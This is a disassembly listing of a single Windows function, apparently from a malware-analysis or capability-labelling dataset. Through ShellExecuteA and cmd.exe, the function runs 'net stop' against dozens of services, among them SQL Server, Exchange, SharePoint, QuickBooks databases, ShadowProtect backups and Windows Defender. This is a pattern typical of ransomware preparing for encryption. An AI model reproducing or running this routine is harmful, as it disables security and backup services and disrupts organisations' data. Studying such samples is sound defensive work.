Function at 0x401ee3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea ecx, [ebp - 0x18]
push ebx
push esi
push edi
push str.__c_net_stop_MSSQLServerADHelper100
call fcn.004015ba
push 0x10
pop ebx
cmp dword [eax + 0x14], ebx
jb 0x401f03
mov eax, dword [eax]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edi, edi
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_MSSQL_ISARS
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x401f37
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_MSSQL_MSFW
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x401f63
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SQLAgent_ISARS
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x401f8f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SQLAgent_MSFW
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x401fbb
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SQLBrowser
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x401fe7
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_ReportServer_ISARS
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402013
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SQLWriter
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40203f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_WinDefend
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40206b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_mr2kserv
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402097
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_MSExchangeADTopology
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4020c3
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_MSExchangeFBA
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4020ef
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_MSExchangeIS
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40211b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_MSExchangeSA
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402147
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_ShadowProtectSvc
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402173
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SPAdminV4
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40219f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SPTimerV4
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4021cb
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SPTraceV4
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4021f7
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SPUserCodeV4
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402223
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SPWriterV4
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40224f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_SPSearch4
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40227b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_MSSQLServerADHelper100
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4022a7
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_IISADMIN
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4022d3
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_firebirdguardiandefaultinstance
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4022ff
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_ibmiasrw
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40232b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QBCFMonitorService
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402357
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QBVSS
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402383
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QBPOSDBServiceV12
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4023af
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop__IBM_Domino_Server_CProgramFilesIBMDominodata__
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4023db
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop__IBM_Domino_Diagnostics_CProgramFilesIBMDomino__
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402407
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_IISADMIN
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402433
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop__Simply_Accounting_Database_Connection_Manager_
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40245f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB1
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40248b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB2
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4024b7
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB3
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4024e3
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB4
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40250f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB5
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40253b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB6
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402567
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB7
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402593
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB8
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4025bf
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB9
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4025eb
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB10
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402617
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB11
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402643
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB12
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40266f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB13
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40269b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB14
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4026c7
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB15
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4026f3
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB16
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40271f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB17
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40274b
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB18
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402777
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB19
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4027a3
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB20
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4027cf
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB21
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4027fb
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB22
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402827
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB23
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x402853
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB24
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x40287f
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_QuickBooksDB25
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4028ab
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
push str.__c_net_stop_tomcat5
lea ecx, [ebp - 0x18]
call fcn.004015ba
cmp dword [eax + 0x14], ebx
jb 0x4028d7
mov eax, dword [eax]
push edi
push edi
push eax
push str.cmd.exe
push str.open
push edi
call esi
lea ecx, [ebp - 0x18]
call fcn.00401665
pop edi
pop esi
pop ebx
leave
ret